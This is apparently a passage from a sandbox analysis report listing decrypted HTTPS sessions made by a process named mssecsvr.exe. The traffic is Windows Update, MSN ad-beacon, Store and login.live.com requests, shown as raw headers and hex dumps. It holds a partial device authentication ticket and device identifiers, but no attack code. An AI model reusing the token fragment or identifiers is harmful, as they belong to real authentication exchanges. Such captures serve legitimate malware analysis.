kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	54566	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:43 UTC	8487	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:43 UTC	8488	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 6633bf76-6bbb-453a-9f6c-c80b91decbc5 MS-RequestId: e7435421-ce65-44ef-bde3-4347af3271e2 MS-CV: HCMTXZyl2UC5BJTA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:42 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:43 UTC	8488	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:43 UTC	8504	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:43 UTC	8520	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	54592	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:44 UTC	8523	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:44 UTC	8527	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 0d83868d-3667-4723-bc04-5961b3ea6f7c MS-RequestId: 2253a175-d730-4772-a94d-ad49ebace878 MS-CV: Z2BlvAgMxkWWUF2N.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:43 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:44 UTC	8527	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:44 UTC	8543	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:44 UTC	8559	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	54639	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:44 UTC	8524	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 2787 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 17:32:44 UTC	8524	OUT	Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 33 33 35 39 33 39 33 32 36 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 42 38 33 33 31 31 46 35 42 34 36 31 34 34 43 43 38 41 39 46 46 33 39 45 34 41 46 37 39 31 46 34 26 41 53 49 44 3d 62 32 39 32 30 33 32 64 64 65 38 64 34 64 63 34 61 33 39 66 38 30 34 37 64 64 33 62 36 62 64 62 26 54 49 4d 45 3d 32 30 32 32 30 37 32 31 54 30 32 33 32 30 32 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 37 32 39 35 35 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1335939326&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=B83311F5B46144CC8A9FF39E4AF791F4&ASID=b292032dde8d4dc4a39f8047dd3b6bdb&TIME=20220721T023202Z&SLOT=2&REQT=20220720T172955&MA_Score=2&LOCALID=w
2022-07-20 17:32:44 UTC	8526	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:32:43 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	54669	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:44 UTC	8562	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 33 34 30 32 63 32 66 38 33 38 33 39 33 64 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: b3402c2f838393d8
2022-07-20 17:32:44 UTC	8562	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:32:44 UTC	8563	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 33 34 30 32 63 32 66 38 33 38 33 39 33 64 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: b3402c2f838393d8<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:32:44 UTC	8564	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 33 34 30 32 63 32 66 38 33 38 33 39 33 64 38 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: b3402c2f838393d8
2022-07-20 17:32:44 UTC	8564	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:32:44 UTC	8564	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 75 4f 39 4d 6d 33 53 38 6b 6d 54 49 6e 64 51 2b 66 6a 55 4b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fuO9Mm3S8kmTIndQ+fjUKw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	54670	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:45 UTC	8564	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023143Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:45 UTC	8564	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 7ac60a87-17d0-4ea3-b7d9-44faa3c775e3 Date: Wed, 20 Jul 2022 17:32:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	54717	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:45 UTC	8565	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023145Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:45 UTC	8565	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a3b0d841-771c-4dd3-a63f-dc4a6b42e349 Date: Wed, 20 Jul 2022 17:32:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	50104	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:36 UTC	105	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:30:36 UTC	105	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:37 UTC	120	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 3429e028-b7dc-4f48-8349-981b5b596a38 PPServer: PPV: 30 H: BL6PPFE4AFAAE31 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:36 GMT Connection: close Content-Length: 11093
2022-07-20 17:30:37 UTC	121	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	54724	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:45 UTC	8565	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023146Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:45 UTC	8566	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 528166b5-3761-4066-ac89-9284b8d70639 Date: Wed, 20 Jul 2022 17:32:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	54765	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:46 UTC	8566	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023147Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:46 UTC	8567	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f3544911-fd62-4393-b294-d322c2e5e0df Date: Wed, 20 Jul 2022 17:32:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	54795	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:46 UTC	8567	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023148Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:46 UTC	8568	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 37b5b8b9-7721-487c-b572-843d4da8f133 Date: Wed, 20 Jul 2022 17:32:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	54747	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:46 UTC	8568	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
